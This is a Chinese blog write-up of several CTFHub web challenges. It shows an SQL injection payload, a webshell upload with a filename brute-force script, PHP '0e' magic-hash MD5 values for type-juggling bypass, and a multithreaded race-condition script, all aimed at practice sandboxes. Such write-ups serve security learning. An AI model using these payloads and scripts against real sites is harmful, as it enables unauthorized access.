2017-赛客夏令营-Web全家桶


题目来自CTFHub,感谢平台的复现环境



Injection V2.0

登陆查询的两种方式,参考博客

在这里插入图片描述
在这里插入图片描述
提交按钮是提交查询,看来不用登陆哈哈,这种查询一般有两种方式

  • 一种是先查询用户名是否存在,在查询对应密码是否正确
  • 一种是直接查询用户提交的账号密码是否正确
    输入账号admin密码admin提示密码错误,应该是第一种查询方式
    fuzz发现函数基本都被过滤了,那么根据密码查询逻辑可以这样构造payloaduser=123'union/**/select/**/1/**/%23&pass=1在这里插入图片描述
    在这里插入图片描述

    写在最后,payload最后的pass需要与select的数字相同,这是因为查询密码时if($row['password']==$password)前面的是你select的值,后面是你输入的pass


Uploadddd

知识点:目录扫描,简单代码审计,基本脚本编写

在这里插入图片描述
在这里插入图片描述
传个🐎试试,发现可以上传成功,但是没有路径,传其他 的也是这样,都没有路径。
在这里插入图片描述
扫描目录试试,有个备份文件,下载下来恢复一下
在这里插入图片描述
下载完使用vim -r .index.php.swp恢复文件,发现文件存在uploads/下,文件名是文件上传时间加一个随机数组成,在上传一次,用脚本爆破一下看看那个随机数就行了
在这里插入图片描述
抓包看下上传时间,脚本生成字典
在这里插入图片描述

time = '20200911154632'
value = ''
for i in range(1000):
    value += time+str(i)+'.php'
    value += '\n'
    #print(value)
filename = 'dir.txt'
with open(filename,'a',encoding='utf-8') as f:
    for i in value:
        f.writelines(i)

在这里插入图片描述

在这里插入图片描述
蚁剑连🐎,完活
在这里插入图片描述


weakphp

知识点:git源码泄露;php弱类型;md5碰撞

在这里插入图片描述
在这里插入图片描述
源码没看到什么东西,抓包看看,没发现啥,扫描器启动233
在这里插入图片描述
很明显了,git泄露,用GitHack恢复一下
在这里插入图片描述
进入dist目录,查看恢复源码
在这里插入图片描述
主要绕过(md5($user) == md5($pass)) and ($user != $pass),要求user与pass不同,但其md5加密后却相同,典型的md5碰撞。

php在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
php弱类型参考博客

0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

随便取出来两个用就好
在这里插入图片描述


random

知识点:爆破方式

在这里插入图片描述
在这里插入图片描述
不断刷新页面发现当前数字也不同,如题,random。
==第一种==burp爆破
在这里插入图片描述
脸黑,第一次失败了,再来一次,第二次一下就出来了。。。
在这里插入图片描述

==第二种==py脚本,锻炼写脚本的能力
因为懒没写正则,直接把页面全输出了哈哈哈

import requests

url = 'http://challenge-c5ef534a16bbc86d.sandbox.ctfhub.com:10080/index.php?num='
for i in range(100):
	response = requests.get(url+str(i))
	if 'ctfhub{' in response.text:
		print(response.text)
		break

在这里插入图片描述


injection

知识点:SQL的数字型注入
Practice makes perfect.God helps those who help themselves.Where there is a will,there is a way.One false step will make a great difference.

在这里插入图片描述

进入题目
在这里插入图片描述
id=2-1发现数字型注入
在这里插入图片描述
查有几个字段,2的时候正常,3不正常,说明字段为2
在这里插入图片描述

查表名

在这里插入图片描述
查列名
在这里插入图片描述
查字段
在这里插入图片描述
当然,sqlmap一把梭也行(我没试)


checkin

在这里插入图片描述
打开链接啥都没有,抓包看看
在这里插入图片描述
。。。这题没有知识点,base64解密


Fast Running

在这里插入图片描述
在这里插入图片描述

尝试弱密码登陆,失败;修改密码在登陆,也是失败,应该是后台又改掉了。我也是第一次做多线程题,还是看的别师傅的wp,参考博客
用python的threading模块可以实现多线程,只要你登陆的速度比后台改密码的速度快应该就可以了,上代码。

import requests
import threading

s = requests.session()

class MyThread(threading.Thread):
    def __init__(self, item):
        threading.Thread.__init__(self)
        self.item = item

    def run(self):
        main(self.item)


def main(args):
    if args == 1:
        while True:
            ur11 = 'http://challenge-2ac70a122538fa92.sandbox.ctfhub.com:10080/change_passwd.php?passwd=123456&passwd_confirm=123456'
            c = s.get(ur11).content
    else:
        while True:
            url2 = 'http://challenge-2ac70a122538fa92.sandbox.ctfhub.com:10080/login_check.php?passwd=123456'
            # c11 = s.get(url2, data={' passwd': 111}).content
            c1 = s.get(url2)
            print(c1.text)


if __name__ == '__main__':
    t1 = MyThread(1)
    t2 = MyThread(2)
    t1.start()
    t2.start()

DONE

在这里插入图片描述


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
 上一篇
BUUOJ-[GXYCTF2019]-WEB-WP BUUOJ-[GXYCTF2019]-WEB-WP
平台地址:https://buuoj.cn/ Ping Ping Ping BabySQli 禁止套娃 BabyUpload StrongestMind BabysqliV3.0 END
2020-09-13
下一篇 
BJDCTF-2nd WEB BJDCTF-2nd WEB
[BJDCTF 2nd]fake google [BJDCTF 2nd]old-hack [BJDCTF 2nd]假猪套天下第一 [BJDCTF 2nd]简单注入 [BJDCTF 2nd]xss之光 [BJDCTF 2nd]Schröd
2020-06-11
  目录